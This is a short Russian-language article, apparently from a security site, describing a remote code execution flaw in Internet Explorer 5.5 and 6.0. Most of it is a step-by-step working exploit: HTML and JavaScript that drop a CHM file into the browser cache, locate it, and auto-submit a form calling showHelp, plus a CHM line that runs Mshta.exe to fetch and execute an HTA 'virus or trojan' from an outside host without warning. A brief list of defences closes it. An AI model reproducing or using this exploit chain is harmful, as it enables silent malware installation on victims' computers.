Броузеры Internet Explorer 5.5 и 6.0 содержат
уязвимость, которая позволяет выполнять
произвольные файлы на удаленном компьютере.
Основной принцип таков - записать в Temporary
Internet Files нужный нам код и затем выполнить
его через функцию showHelp.
По шагам весь процесс выглядит так.
Создаем простой HTML файл, который будет
записывать файл помощи chm на компьютер
жертвы:
<bgsound src="http://www.example.com/malware.chm">
Затем используем скрипт, созданный
знаменитым Гунинским для определения
полного пути к нему:
malware=document.URL;
path=malware.substr(-0,malware.lastIndexOf("\\"));
path=unescape(path);
Что дальше? Так как напрямую вызвать файл
не удастся, надо сделать форму, автоматом
"подписав" ее мы тем самым заставим
пользователя выполнить нужный нам файл
помощи. Вот так:
document.write('<FORM name="malware" ACTION="javascript:window.showHelp(document.forms[0].elements[0].value)">');
document.write('<form><input type="hidden" size="40"
maxlength="80"
value="'+path+'\\malware[1].chm"></form>');
Исполняем форму:
setTimeout('document.malware.submit()',5000);
Все. Настала пора разобраться, что же мы
хотим от жертвы, что содержится в malware.chm? А
там все просто - единственная строчка:
C:\WINDOWS\SYSTEM\Mshta.exe http://www.malware.com/foobar.hta
Foobar.hta и есть наш гипотетический вирус или
троян (вы можете выполнить такую команду на
своем компьютере, рабочий файл на сервере
существует - посмотрите что получится),
причем он запустится без всякого
предупреждения! Аналогично можно
забубенить бедному юзеру и любой .exe файл и
выполнить его на компьютере пользователя.
Как спастись:
- Не открывать HTML файлы в мейлах
- Выключить Active Scripting и Active X
- Стереть Mshta.exe (хотя в случае с экзешником
это конечно не спасет)